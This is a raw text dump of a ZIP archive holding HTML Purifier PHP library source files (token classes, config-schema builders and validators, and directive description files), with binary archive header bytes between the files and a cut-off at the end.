unset($attr[$key]);
}
}
}
$this->attr = $attr;
$this->line = $line;
$this->col = $col;
$this->armor = $armor;
}
public function toNode() {
return new HTMLPurifier_Node_Element($this->name, $this->attr, $this->line, $this->col, $this->armor);
}
}
// vim: et sw=4 sts=4
PK j�$Z���:L L / htmlpurifier/library/HTMLPurifier/Token/End.phpnu �[��� <?php
/**
* Concrete end token class.
*
* @warning This class accepts attributes even though end tags cannot. This
* is for optimization reasons, as under normal circumstances, the Lexers
* do not pass attributes.
*/
class HTMLPurifier_Token_End extends HTMLPurifier_Token_Tag
{
/**
* Token that started this node.
* Added by MakeWellFormed. Please do not edit this!
* @type HTMLPurifier_Token
*/
public $start;
public function toNode() {
throw new Exception("HTMLPurifier_Token_End->toNode not supported!");
}
}
// vim: et sw=4 sts=4
PK j�$Ztd�/� � 1 htmlpurifier/library/HTMLPurifier/Token/Start.phpnu �[��� <?php
/**
* Concrete start token class.
*/
class HTMLPurifier_Token_Start extends HTMLPurifier_Token_Tag
{
}
// vim: et sw=4 sts=4
PK j�$Z�G�j- - 0 htmlpurifier/library/HTMLPurifier/Token/Text.phpnu �[��� <?php
/**
* Concrete text token class.
*
* Text tokens comprise of regular parsed character data (PCDATA) and raw
* character data (from the CDATA sections). Internally, their
* data is parsed with all entities expanded. Surprisingly, the text token
* does have a "tag name" called #PCDATA, which is how the DTD represents it
* in permissible child nodes.
*/
class HTMLPurifier_Token_Text extends HTMLPurifier_Token
{
/**
* @type string
*/
public $name = '#PCDATA';
/**< PCDATA tag name compatible with DTD. */
/**
* @type string
*/
public $data;
/**< Parsed character data of text. */
/**
* @type bool
*/
public $is_whitespace;
/**< Bool indicating if node is whitespace. */
/**
* Constructor, accepts data and determines if it is whitespace.
* @param string $data String parsed character data.
* @param int $line
* @param int $col
*/
public function __construct($data, $line = null, $col = null)
{
$this->data = $data;
$this->is_whitespace = ctype_space($data);
$this->line = $line;
$this->col = $col;
}
public function toNode() {
return new HTMLPurifier_Node_Text($this->data, $this->is_whitespace, $this->line, $this->col);
}
}
// vim: et sw=4 sts=4
PK j�$Z��[K� � 1 htmlpurifier/library/HTMLPurifier/Token/Empty.phpnu �[��� <?php
/**
* Concrete empty token class.
*/
class HTMLPurifier_Token_Empty extends HTMLPurifier_Token_Tag
{
public function toNode() {
$n = parent::toNode();
$n->empty = true;
return $n;
}
}
// vim: et sw=4 sts=4
PK j�$ZS�\�� � 3 htmlpurifier/library/HTMLPurifier/Token/Comment.phpnu �[��� <?php
/**
* Concrete comment token class. Generally will be ignored.
*/
class HTMLPurifier_Token_Comment extends HTMLPurifier_Token
{
/**
* Character data within comment.
* @type string
*/
public $data;
/**
* @type bool
*/
public $is_whitespace = true;
/**
* Transparent constructor.
*
* @param string $data String comment data.
* @param int $line
* @param int $col
*/
public function __construct($data, $line = null, $col = null)
{
$this->data = $data;
$this->line = $line;
$this->col = $col;
}
public function toNode() {
return new HTMLPurifier_Node_Comment($this->data, $this->line, $this->col);
}
}
// vim: et sw=4 sts=4
PK j�$Z���� . htmlpurifier/library/HTMLPurifier/ChildDef.phpnu �[��� <?php
/**
* Defines allowed child nodes and validates nodes against it.
*/
abstract class HTMLPurifier_ChildDef
{
/**
* Type of child definition, usually right-most part of class name lowercase.
* Used occasionally in terms of context.
* @type string
*/
public $type;
/**
* Indicates whether or not an empty array of children is okay.
*
* This is necessary for redundant checking when changes affecting
* a child node may cause a parent node to now be disallowed.
* @type bool
*/
public $allow_empty;
/**
* Lookup array of all elements that this definition could possibly allow.
* @type array
*/
public $elements = array();
/**
* Get lookup of tag names that should not close this element automatically.
* All other elements will do so.
* @param HTMLPurifier_Config $config HTMLPurifier_Config object
* @return array
*/
public function getAllowedElements($config)
{
return $this->elements;
}
/**
* Validates nodes according to definition and returns modification.
*
* @param HTMLPurifier_Node[] $children Array of HTMLPurifier_Node
* @param HTMLPurifier_Config $config HTMLPurifier_Config object
* @param HTMLPurifier_Context $context HTMLPurifier_Context object
* @return bool|array true to leave nodes as is, false to remove parent node, array of replacement children
*/
abstract public function validateChildren($children, $config, $context);
}
// vim: et sw=4 sts=4
PK j�$Z{��J J 2 htmlpurifier/library/HTMLPurifier/TagTransform.phpnu �[��� <?php
/**
* Defines a mutation of an obsolete tag into a valid tag.
*/
abstract class HTMLPurifier_TagTransform
{
/**
* Tag name to transform the tag to.
* @type string
*/
public $transform_to;
/**
* Transforms the obsolete tag into the valid tag.
* @param HTMLPurifier_Token_Tag $tag Tag to be transformed.
* @param HTMLPurifier_Config $config Mandatory HTMLPurifier_Config object
* @param HTMLPurifier_Context $context Mandatory HTMLPurifier_Context object
*/
abstract public function transform($tag, $config, $context);
/**
* Prepends CSS properties to the style attribute, creating the
* attribute if it doesn't exist.
* @warning Copied over from AttrTransform, be sure to keep in sync
* @param array $attr Attribute array to process (passed by reference)
* @param string $css CSS to prepend
*/
protected function prependCSS(&$attr, $css)
{
$attr['style'] = isset($attr['style']) ? $attr['style'] : '';
$attr['style'] = $css . $attr['style'];
}
}
// vim: et sw=4 sts=4
PK j�$ZJ� �� � E htmlpurifier/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.phpnu �[��� <?php
class HTMLPurifier_ConfigSchema_InterchangeBuilder
{
/**
* Used for processing DEFAULT, nothing else.
* @type HTMLPurifier_VarParser
*/
protected $varParser;
/**
* @param HTMLPurifier_VarParser $varParser
*/
public function __construct($varParser = null)
{
$this->varParser = $varParser ? $varParser : new HTMLPurifier_VarParser_Native();
}
/**
* @param string $dir
* @return HTMLPurifier_ConfigSchema_Interchange
*/
public static function buildFromDirectory($dir = null)
{
$builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder();
$interchange = new HTMLPurifier_ConfigSchema_Interchange();
return $builder->buildDir($interchange, $dir);
}
/**
* @param HTMLPurifier_ConfigSchema_Interchange $interchange
* @param string $dir
* @return HTMLPurifier_ConfigSchema_Interchange
*/
public function buildDir($interchange, $dir = null)
{
if (!$dir) {
$dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema';
}
if (file_exists($dir . '/info.ini')) {
$info = parse_ini_file($dir . '/info.ini');
$interchange->name = $info['name'];
}
$files = array();
$dh = opendir($dir);
while (false !== ($file = readdir($dh))) {
if (!$file || $file[0] == '.' || strrchr($file, '.') !== '.txt') {
continue;
}
$files[] = $file;
}
closedir($dh);
sort($files);
foreach ($files as $file) {
$this->buildFile($interchange, $dir . '/' . $file);
}
return $interchange;
}
/**
* @param HTMLPurifier_ConfigSchema_Interchange $interchange
* @param string $file
*/
public function buildFile($interchange, $file)
{
$parser = new HTMLPurifier_StringHashParser();
$this->build(
$interchange,
new HTMLPurifier_StringHash($parser->parseFile($file))
);
}
/**
* Builds an interchange object based on a hash.
* @param HTMLPurifier_ConfigSchema_Interchange $interchange HTMLPurifier_ConfigSchema_Interchange object to build
* @param HTMLPurifier_StringHash $hash source data
* @throws HTMLPurifier_ConfigSchema_Exception
*/
public function build($interchange, $hash)
{
if (!$hash instanceof HTMLPurifier_StringHash) {
$hash = new HTMLPurifier_StringHash($hash);
}
if (!isset($hash['ID'])) {
throw new HTMLPurifier_ConfigSchema_Exception('Hash does not have any ID');
}
if (strpos($hash['ID'], '.') === false) {
if (count($hash) == 2 && isset($hash['DESCRIPTION'])) {
$hash->offsetGet('DESCRIPTION'); // prevent complaining
} else {
throw new HTMLPurifier_ConfigSchema_Exception('All directives must have a namespace');
}
} else {
$this->buildDirective($interchange, $hash);
}
$this->_findUnused($hash);
}
/**
* @param HTMLPurifier_ConfigSchema_Interchange $interchange
* @param HTMLPurifier_StringHash $hash
* @throws HTMLPurifier_ConfigSchema_Exception
*/
public function buildDirective($interchange, $hash)
{
$directive = new HTMLPurifier_ConfigSchema_Interchange_Directive();
// These are required elements:
$directive->id = $this->id($hash->offsetGet('ID'));
$id = $directive->id->toString(); // convenience
if (isset($hash['TYPE'])) {
$type = explode('/', $hash->offsetGet('TYPE'));
if (isset($type[1])) {
$directive->typeAllowsNull = true;
}
$directive->type = $type[0];
} else {
throw new HTMLPurifier_ConfigSchema_Exception("TYPE in directive hash '$id' not defined");
}
if (isset($hash['DEFAULT'])) {
try {
$directive->default = $this->varParser->parse(
$hash->offsetGet('DEFAULT'),
$directive->type,
$directive->typeAllowsNull
);
} catch (HTMLPurifier_VarParserException $e) {
throw new HTMLPurifier_ConfigSchema_Exception($e->getMessage() . " in DEFAULT in directive hash '$id'");
}
}
if (isset($hash['DESCRIPTION'])) {
$directive->description = $hash->offsetGet('DESCRIPTION');
}
if (isset($hash['ALLOWED'])) {
$directive->allowed = $this->lookup($this->evalArray($hash->offsetGet('ALLOWED')));
}
if (isset($hash['VALUE-ALIASES'])) {
$directive->valueAliases = $this->evalArray($hash->offsetGet('VALUE-ALIASES'));
}
if (isset($hash['ALIASES'])) {
$raw_aliases = trim($hash->offsetGet('ALIASES'));
$aliases = preg_split('/\s*,\s*/', $raw_aliases);
foreach ($aliases as $alias) {
$directive->aliases[] = $this->id($alias);
}
}
if (isset($hash['VERSION'])) {
$directive->version = $hash->offsetGet('VERSION');
}
if (isset($hash['DEPRECATED-USE'])) {
$directive->deprecatedUse = $this->id($hash->offsetGet('DEPRECATED-USE'));
}
if (isset($hash['DEPRECATED-VERSION'])) {
$directive->deprecatedVersion = $hash->offsetGet('DEPRECATED-VERSION');
}
if (isset($hash['EXTERNAL'])) {
$directive->external = preg_split('/\s*,\s*/', trim($hash->offsetGet('EXTERNAL')));
}
$interchange->addDirective($directive);
}
/**
* Evaluates an array PHP code string without array() wrapper
* @param string $contents
*/
protected function evalArray($contents)
{
return eval('return array(' . $contents . ');');
}
/**
* Converts an array list into a lookup array.
* @param array $array
* @return array
*/
protected function lookup($array)
{
$ret = array();
foreach ($array as $val) {
$ret[$val] = true;
}
return $ret;
}
/**
* Convenience function that creates an HTMLPurifier_ConfigSchema_Interchange_Id
* object based on a string Id.
* @param string $id
* @return HTMLPurifier_ConfigSchema_Interchange_Id
*/
protected function id($id)
{
return HTMLPurifier_ConfigSchema_Interchange_Id::make($id);
}
/**
* Triggers errors for any unused keys passed in the hash; such keys
* may indicate typos, missing values, etc.
* @param HTMLPurifier_StringHash $hash Hash to check.
*/
protected function _findUnused($hash)
{
$accessed = $hash->getAccessed();
foreach ($hash as $k => $v) {
if (!isset($accessed[$k])) {
trigger_error("String hash key '$k' not used by builder", E_USER_NOTICE);
}
}
}
}
// vim: et sw=4 sts=4
PK j�$Z��د � < htmlpurifier/library/HTMLPurifier/ConfigSchema/Validator.phpnu �[��� <?php
/**
* Performs validations on HTMLPurifier_ConfigSchema_Interchange
*
* @note If you see '// handled by InterchangeBuilder', that means a
* design decision in that class would prevent this validation from
* ever being necessary. We have them anyway, however, for
* redundancy.
*/
class HTMLPurifier_ConfigSchema_Validator
{
/**
* @type HTMLPurifier_ConfigSchema_Interchange
*/
protected $interchange;
/**
* @type array
*/
protected $aliases;
/**
* Context-stack to provide easy to read error messages.
* @type array
*/
protected $context = array();
/**
* to test default's type.
* @type HTMLPurifier_VarParser
*/
protected $parser;
public function __construct()
{
$this->parser = new HTMLPurifier_VarParser();
}
/**
* Validates a fully-formed interchange object.
* @param HTMLPurifier_ConfigSchema_Interchange $interchange
* @return bool
*/
public function validate($interchange)
{
$this->interchange = $interchange;
$this->aliases = array();
// PHP is a bit lax with integer <=> string conversions in
// arrays, so we don't use the identical !== comparison
foreach ($interchange->directives as $i => $directive) {
$id = $directive->id->toString();
if ($i != $id) {
$this->error(false, "Integrity violation: key '$i' does not match internal id '$id'");
}
$this->validateDirective($directive);
}
return true;
}
/**
* Validates a HTMLPurifier_ConfigSchema_Interchange_Id object.
* @param HTMLPurifier_ConfigSchema_Interchange_Id $id
*/
public function validateId($id)
{
$id_string = $id->toString();
$this->context[] = "id '$id_string'";
if (!$id instanceof HTMLPurifier_ConfigSchema_Interchange_Id) {
// handled by InterchangeBuilder
$this->error(false, 'is not an instance of HTMLPurifier_ConfigSchema_Interchange_Id');
}
// keys are now unconstrained (we might want to narrow down to A-Za-z0-9.)
// we probably should check that it has at least one namespace
$this->with($id, 'key')
->assertNotEmpty()
->assertIsString(); // implicit assertIsString handled by InterchangeBuilder
array_pop($this->context);
}
/**
* Validates a HTMLPurifier_ConfigSchema_Interchange_Directive object.
* @param HTMLPurifier_ConfigSchema_Interchange_Directive $d
*/
public function validateDirective($d)
{
$id = $d->id->toString();
$this->context[] = "directive '$id'";
$this->validateId($d->id);
$this->with($d, 'description')
->assertNotEmpty();
// BEGIN - handled by InterchangeBuilder
$this->with($d, 'type')
->assertNotEmpty();
$this->with($d, 'typeAllowsNull')
->assertIsBool();
try {
// This also tests validity of $d->type
$this->parser->parse($d->default, $d->type, $d->typeAllowsNull);
} catch (HTMLPurifier_VarParserException $e) {
$this->error('default', 'had error: ' . $e->getMessage());
}
// END - handled by InterchangeBuilder
if (!is_null($d->allowed) || !empty($d->valueAliases)) {
// allowed and valueAliases require that we be dealing with
// strings, so check for that early.
$d_int = HTMLPurifier_VarParser::$types[$d->type];
if (!isset(HTMLPurifier_VarParser::$stringTypes[$d_int])) {
$this->error('type', 'must be a string type when used with allowed or value aliases');
}
}
$this->validateDirectiveAllowed($d);
$this->validateDirectiveValueAliases($d);
$this->validateDirectiveAliases($d);
array_pop($this->context);
}
/**
* Extra validation if $allowed member variable of
* HTMLPurifier_ConfigSchema_Interchange_Directive is defined.
* @param HTMLPurifier_ConfigSchema_Interchange_Directive $d
*/
public function validateDirectiveAllowed($d)
{
if (is_null($d->allowed)) {
return;
}
$this->with($d, 'allowed')
->assertNotEmpty()
->assertIsLookup(); // handled by InterchangeBuilder
if (is_string($d->default) && !isset($d->allowed[$d->default])) {
$this->error('default', 'must be an allowed value');
}
$this->context[] = 'allowed';
foreach ($d->allowed as $val => $x) {
if (!is_string($val)) {
$this->error("value $val", 'must be a string');
}
}
array_pop($this->context);
}
/**
* Extra validation if $valueAliases member variable of
* HTMLPurifier_ConfigSchema_Interchange_Directive is defined.
* @param HTMLPurifier_ConfigSchema_Interchange_Directive $d
*/
public function validateDirectiveValueAliases($d)
{
if (is_null($d->valueAliases)) {
return;
}
$this->with($d, 'valueAliases')
->assertIsArray(); // handled by InterchangeBuilder
$this->context[] = 'valueAliases';
foreach ($d->valueAliases as $alias => $real) {
if (!is_string($alias)) {
$this->error("alias $alias", 'must be a string');
}
if (!is_string($real)) {
$this->error("alias target $real from alias '$alias'", 'must be a string');
}
if ($alias === $real) {
$this->error("alias '$alias'", "must not be an alias to itself");
}
}
if (!is_null($d->allowed)) {
foreach ($d->valueAliases as $alias => $real) {
if (isset($d->allowed[$alias])) {
$this->error("alias '$alias'", 'must not be an allowed value');
} elseif (!isset($d->allowed[$real])) {
$this->error("alias '$alias'", 'must be an alias to an allowed value');
}
}
}
array_pop($this->context);
}
/**
* Extra validation if $aliases member variable of
* HTMLPurifier_ConfigSchema_Interchange_Directive is defined.
* @param HTMLPurifier_ConfigSchema_Interchange_Directive $d
*/
public function validateDirectiveAliases($d)
{
$this->with($d, 'aliases')
->assertIsArray(); // handled by InterchangeBuilder
$this->context[] = 'aliases';
foreach ($d->aliases as $alias) {
$this->validateId($alias);
$s = $alias->toString();
if (isset($this->interchange->directives[$s])) {
$this->error("alias '$s'", 'collides with another directive');
}
if (isset($this->aliases[$s])) {
$other_directive = $this->aliases[$s];
$this->error("alias '$s'", "collides with alias for directive '$other_directive'");
}
$this->aliases[$s] = $d->id->toString();
}
array_pop($this->context);
}
// protected helper functions
/**
* Convenience function for generating HTMLPurifier_ConfigSchema_ValidatorAtom
* for validating simple member variables of objects.
* @param $obj
* @param $member
* @return HTMLPurifier_ConfigSchema_ValidatorAtom
*/
protected function with($obj, $member)
{
return new HTMLPurifier_ConfigSchema_ValidatorAtom($this->getFormattedContext(), $obj, $member);
}
/**
* Emits an error, providing helpful context.
* @throws HTMLPurifier_ConfigSchema_Exception
*/
protected function error($target, $msg)
{
if ($target !== false) {
$prefix = ucfirst($target) . ' in ' . $this->getFormattedContext();
} else {
$prefix = ucfirst($this->getFormattedContext());
}
throw new HTMLPurifier_ConfigSchema_Exception(trim($prefix . ' ' . $msg));
}
/**
* Returns a formatted context string.
* @return string
*/
protected function getFormattedContext()
{
return implode(' in ', array_reverse($this->context));
}
}
// vim: et sw=4 sts=4
PK j�$Z�^Վ > htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange.phpnu �[��� <?php
/**
* Generic schema interchange format that can be converted to a runtime
* representation (HTMLPurifier_ConfigSchema) or HTML documentation. Members
* are completely validated.
*/
class HTMLPurifier_ConfigSchema_Interchange
{
/**
* Name of the application this schema is describing.
* @type string
*/
public $name;
/**
* Array of Directive ID => array(directive info)
* @type HTMLPurifier_ConfigSchema_Interchange_Directive[]
*/
public $directives = array();
/**
* Adds a directive array to $directives
* @param HTMLPurifier_ConfigSchema_Interchange_Directive $directive
* @throws HTMLPurifier_ConfigSchema_Exception
*/
public function addDirective($directive)
{
if (isset($this->directives[$i = $directive->id->toString()])) {
throw new HTMLPurifier_ConfigSchema_Exception("Cannot redefine directive '$i'");
}
$this->directives[$i] = $directive;
}
/**
* Convenience function to perform standard validation. Throws exception
* on failed validation.
*/
public function validate()
{
$validator = new HTMLPurifier_ConfigSchema_Validator();
return $validator->validate($this);
}
}
// vim: et sw=4 sts=4
PK j�$ZH��� � G htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.phpnu �[��� <?php
/**
* Converts HTMLPurifier_ConfigSchema_Interchange to our runtime
* representation used to perform checks on user configuration.
*/
class HTMLPurifier_ConfigSchema_Builder_ConfigSchema
{
/**
* @param HTMLPurifier_ConfigSchema_Interchange $interchange
* @return HTMLPurifier_ConfigSchema
*/
public function build($interchange)
{
$schema = new HTMLPurifier_ConfigSchema();
foreach ($interchange->directives as $d) {
$schema->add(
$d->id->key,
$d->default,
$d->type,
$d->typeAllowsNull
);
if ($d->allowed !== null) {
$schema->addAllowedValues(
$d->id->key,
$d->allowed
);
}
foreach ($d->aliases as $alias) {
$schema->addAlias(
$alias->key,
$d->id->key
);
}
if ($d->valueAliases !== null) {
$schema->addValueAliases(
$d->id->key,
$d->valueAliases
);
}
}
$schema->postProcess();
return $schema;
}
}
// vim: et sw=4 sts=4
PK j�$Zê� > htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/Xml.phpnu �[��� <?php
/**
* Converts HTMLPurifier_ConfigSchema_Interchange to an XML format,
* which can be further processed to generate documentation.
*/
class HTMLPurifier_ConfigSchema_Builder_Xml extends XMLWriter
{
/**
* @type HTMLPurifier_ConfigSchema_Interchange
*/
protected $interchange;
/**
* @type string
*/
private $namespace;
/**
* @param string $html
*/
protected function writeHTMLDiv($html)
{
$this->startElement('div');
$purifier = HTMLPurifier::getInstance();
$html = $purifier->purify($html);
$this->writeAttribute('xmlns', 'http://www.w3.org/1999/xhtml');
$this->writeRaw($html);
$this->endElement(); // div
}
/**
* @param mixed $var
* @return string
*/
protected function export($var)
{
if ($var === array()) {
return 'array()';
}
return var_export($var, true);
}
/**
* @param HTMLPurifier_ConfigSchema_Interchange $interchange
*/
public function build($interchange)
{
// global access, only use as last resort
$this->interchange = $interchange;
$this->setIndent(true);
$this->startDocument('1.0', 'UTF-8');
$this->startElement('configdoc');
$this->writeElement('title', $interchange->name);
foreach ($interchange->directives as $directive) {
$this->buildDirective($directive);
}
if ($this->namespace) {
$this->endElement();
} // namespace
$this->endElement(); // configdoc
$this->flush();
}
/**
* @param HTMLPurifier_ConfigSchema_Interchange_Directive $directive
*/
public function buildDirective($directive)
{
// Kludge, although I suppose having a notion of a "root namespace"
// certainly makes things look nicer when documentation is built.
// Depends on things being sorted.
if (!$this->namespace || $this->namespace !== $directive->id->getRootNamespace()) {
if ($this->namespace) {
$this->endElement();
} // namespace
$this->namespace = $directive->id->getRootNamespace();
$this->startElement('namespace');
$this->writeAttribute('id', $this->namespace);
$this->writeElement('name', $this->namespace);
}
$this->startElement('directive');
$this->writeAttribute('id', $directive->id->toString());
$this->writeElement('name', $directive->id->getDirective());
$this->startElement('aliases');
foreach ($directive->aliases as $alias) {
$this->writeElement('alias', $alias->toString());
}
$this->endElement(); // aliases
$this->startElement('constraints');
if ($directive->version) {
$this->writeElement('version', $directive->version);
}
$this->startElement('type');
if ($directive->typeAllowsNull) {
$this->writeAttribute('allow-null', 'yes');
}
$this->text($directive->type);
$this->endElement(); // type
if ($directive->allowed) {
$this->startElement('allowed');
foreach ($directive->allowed as $value => $x) {
$this->writeElement('value', $value);
}
$this->endElement(); // allowed
}
$this->writeElement('default', $this->export($directive->default));
$this->writeAttribute('xml:space', 'preserve');
if ($directive->external) {
$this->startElement('external');
foreach ($directive->external as $project) {
$this->writeElement('project', $project);
}
$this->endElement();
}
$this->endElement(); // constraints
if ($directive->deprecatedVersion) {
$this->startElement('deprecated');
$this->writeElement('version', $directive->deprecatedVersion);
$this->writeElement('use', $directive->deprecatedUse->toString());
$this->endElement(); // deprecated
}
$this->startElement('description');
$this->writeHTMLDiv($directive->description);
$this->endElement(); // description
$this->endElement(); // directive
}
}
// vim: et sw=4 sts=4
PK j�$Z]�rx x Z htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.Predicate.txtnu �[��� AutoFormat.RemoveEmpty.Predicate
TYPE: hash
VERSION: 4.7.0
DEFAULT: array('colgroup' => array(), 'th' => array(), 'td' => array(), 'iframe' => array('src'))
--DESCRIPTION--
<p>
Given that an element has no contents, it will be removed by default, unless
this predicate dictates otherwise. The predicate can either be an associative
map from tag name to list of attributes that must be present for the element
to be considered preserved: thus, the default always preserves <code>colgroup</code>,
<code>th</code> and <code>td</code>, and also <code>iframe</code> if it
has a <code>src</code>.
</p>
--# vim: et sw=4 sts=4
PK j�$ZG�l l H htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txtnu �[��� HTML.TidyLevel
TYPE: string
VERSION: 2.0.0
DEFAULT: 'medium'
--DESCRIPTION--
<p>General level of cleanliness the Tidy module should enforce.
There are four allowed values:</p>
<dl>
<dt>none</dt>
<dd>No extra tidying should be done</dd>
<dt>light</dt>
<dd>Only fix elements that would be discarded otherwise due to
lack of support in doctype</dd>
<dt>medium</dt>
<dd>Enforce best practices</dd>
<dt>heavy</dt>
<dd>Transform all deprecated elements and attributes to standards
compliant equivalents</dd>
</dl>
--ALLOWED--
'none', 'light', 'medium', 'heavy'
--# vim: et sw=4 sts=4
PK j�$Z��tx x ^ htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.DirectLexLineNumberSyncInterval.txtnu �[��� Core.DirectLexLineNumberSyncInterval
TYPE: int
VERSION: 2.0.0
DEFAULT: 0
--DESCRIPTION--
<p>
Specifies the number of tokens the DirectLex line number tracking
implementations should process before attempting to resyncronize the
current line count by manually counting all previous new-lines. When
at 0, this functionality is disabled. Lower values will decrease
performance, and this is only strictly necessary if the counting
algorithm is buggy (in which case you should report it as a bug).
This has no effect when %Core.MaintainLineNumbers is disabled or DirectLex is
not being used.
</p>
--# vim: et sw=4 sts=4
PK j�$Z��8� � G htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.EnableID.txtnu �[��� Attr.EnableID
TYPE: bool
DEFAULT: false
VERSION: 1.2.0
--DESCRIPTION--
Allows the ID attribute in HTML. This is disabled by default due to the
fact that without proper configuration user input can easily break the
validation of a webpage by specifying an ID that is already on the
surrounding HTML. If you don't mind throwing caution to the wind, enable
this directive, but I strongly recommend you also consider blacklisting IDs
you use (%Attr.IDBlacklist) or prefixing all user supplied IDs
(%Attr.IDPrefix). When set to true HTML Purifier reverts to the behavior of
pre-1.2.0 versions.
--ALIASES--
HTML.EnableAttrID
--# vim: et sw=4 sts=4
PK j�$Z7�%F F [ htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.PurifierLinkify.DocURL.txtnu �[��� AutoFormat.PurifierLinkify.DocURL
TYPE: string
VERSION: 2.0.1
DEFAULT: '#%s'
ALIASES: AutoFormatParam.PurifierLinkifyDocURL
--DESCRIPTION--
<p>
Location of configuration documentation to link to, let %s substitute
into the configuration's namespace and directive names sans the percent
sign.
</p>
--# vim: et sw=4 sts=4
PK j�$Z��Q� � M htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txtnu �[��� URI.DisableExternal
TYPE: bool
VERSION: 1.2.0
DEFAULT: false
--DESCRIPTION--
Disables links to external websites. This is a highly effective anti-spam
and anti-pagerank-leech measure, but comes at a hefty price: nolinks or
images outside of your domain will be allowed. Non-linkified URIs will
still be preserved. If you want to be able to link to subdomains or use
absolute URIs, specify %URI.Host for your website.
--# vim: et sw=4 sts=4
PK j�$Zt6��� � E htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.Trusted.txtnu �[��� CSS.Trusted
TYPE: bool
VERSION: 4.2.1
DEFAULT: false
--DESCRIPTION--
Indicates whether or not the user's CSS input is trusted or not. If the
input is trusted, a more expansive set of allowed properties. See
also %HTML.Trusted.
--# vim: et sw=4 sts=4
PK j�$Z��J` ` O htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/CSS.AllowedProperties.txtnu �[��� CSS.AllowedProperties
TYPE: lookup/null
VERSION: 3.1.0
DEFAULT: NULL
--DESCRIPTION--
<p>
If HTML Purifier's style attributes set is unsatisfactory for your needs,
you can overload it with your own list of tags to allow. Note that this
method is subtractive: it does its job by taking away from HTML Purifier
usual feature set, so you cannot add an attribute that HTML Purifier never
supported in the first place.
</p>
<p>
<strong>Warning:</strong> If another directive conflicts with the
elements here, <em>that</em> directive will win and override.
</p>
--# vim: et sw=4 sts=4
PK j�$Z[��@ @ R htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.DefaultInvalidImage.txtnu �[��� Attr.DefaultInvalidImage
TYPE: string
DEFAULT: ''
--DESCRIPTION--
This is the default image an img tag will be pointed to if it does not have
a valid src attribute. In future versions, we may allow the image tag to
be removed completely, but due to design issues, this is not possible right
now.
--# vim: et sw=4 sts=4
PK j�$Z��ϻ I htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Attr.AllowedRel.txtnu �[��� Attr.AllowedRel
TYPE: lookup
VERSION: 1.6.0
DEFAULT: array()
--DESCRIPTION--
List of allowed forward document relationships in the rel attribute. Common
values may be nofollow or print. By default, this is empty, meaning that no
document relationships are allowed.
--# vim: et sw=4 sts=4
PK j�$ZpR�O= = W htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Core.AggressivelyRemoveScript.txtnu �[��� Core.AggressivelyRemoveScript
TYPE: bool
VERSION: 4.9.0
DEFAULT: true
--DESCRIPTION--
<p>
This directive enables aggressive pre-filter removal of
script tags. This is not necessary for security,
but it can help work around a bug in libxml where embedded
HTML elements inside script sections cause the parser to
choke. To revert to pre-4.9.0 behavior, set this to false.
This directive has no effect if %Core.Trusted is true,
%Core.RemoveScriptContents is false, or %Core.HiddenElements
does not contain script.
</p>
--# vim: et sw=4 sts=4
PK j�$Zz���� � P htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.RemoveEmpty.txtnu �[��� AutoFormat.RemoveEmpty
TYPE: bool
VERSION: 3.2.0
DEFAULT: false
--DESCRIPTION--
<p>
When enabled, HTML Purifier will attempt to remove empty elements that
contribute no semantic information to the document. The following types
of nodes will be removed:
</p>
<ul><li>
Tags with no attributes and no content, and that are not empty
elements (remove <code><a></a></code> but not
<code><br /></code>), and
</li>
<li>
Tags with no content, except for:<ul>
<li>The <code>colgroup</code> element, or</li>
<li>
Elements with the <code>id</code> or <code>name</code> attribute,
when those attributes are permitted on those elements.
</li>
</ul></li>
</ul>
<p>
Please be very careful when using this functionality; while it may not
seem that empty elements contain useful information, they can alter the
layout of a document given appropriate styling. This directive is most
useful when you are processing machine-generated HTML, please avoid using
it on regular user HTML.
</p>
<p>
Elements that contain only whitespace will be treated as empty. Non-breaking
spaces, however, do not count as whitespace. See
%AutoFormat.RemoveEmpty.RemoveNbsp for alternate behavior.
</p>
<p>
This algorithm is not perfect; you may still notice some empty tags,
particularly if a node had elements, but those elements were later removed
because they were not permitted in that context, or tags that, after
being auto-closed by another tag, where empty. This is for safety reasons
to prevent clever code from breaking validation. The general rule of thumb:
if a tag looked empty on the way in, it will get removed; if HTML Purifier
made it empty, it will stay.
</p>
--# vim: et sw=4 sts=4
PK j�$Z�`_r r R htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/AutoFormat.AutoParagraph.txtnu �[��� AutoFormat.AutoParagraph
TYPE: bool
VERSION: 2.0.1
DEFAULT: false
--DESCRIPTION--
<p>
This directive turns on auto-paragraphing, where double newlines are
converted in to paragraphs whenever possible. Auto-paragraphing:
</p>
<ul>
<li>Always applies to inline elements or text in the root node,</li>
<li>Applies to inline elements or text with double newlines in nodes
that allow paragraph tags,</li>
<li>Applies to double newlines in paragraph tags</li>
</ul>
<p>
<code>p</code> tags must be allowed for this directive to take effect.
We do not use <code>br</code> tags for paragraphing, as that is
semantically incorrect.
</p>
<p>
To prevent auto-paragraphing as a content-producer, refrain from using
double-newlines except to specify a new paragraph or in contexts where
it has special meaning (whitespace usually has no meaning except in
tags like <code>pre</code>, so this should not be difficult.) To prevent
the paragraphing of inline text adjacent to block elements, wrap them
in <code>div</code> tags (the behavior is slightly different outside of
the root node.)
</p>
--# vim: et sw=4 sts=4
PK j�$Z}]�� � I htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txtnu �[��� HTML.SafeObject
TYPE: bool
VERSION: 3.1.1
DEFAULT: false
--DESCRIPTION--
<p>
Whether or not to permit object tags in documents, with a number of extra
security features added to prevent script execution. This is similar to
what websites like MySpace do to object tags. You should also enable
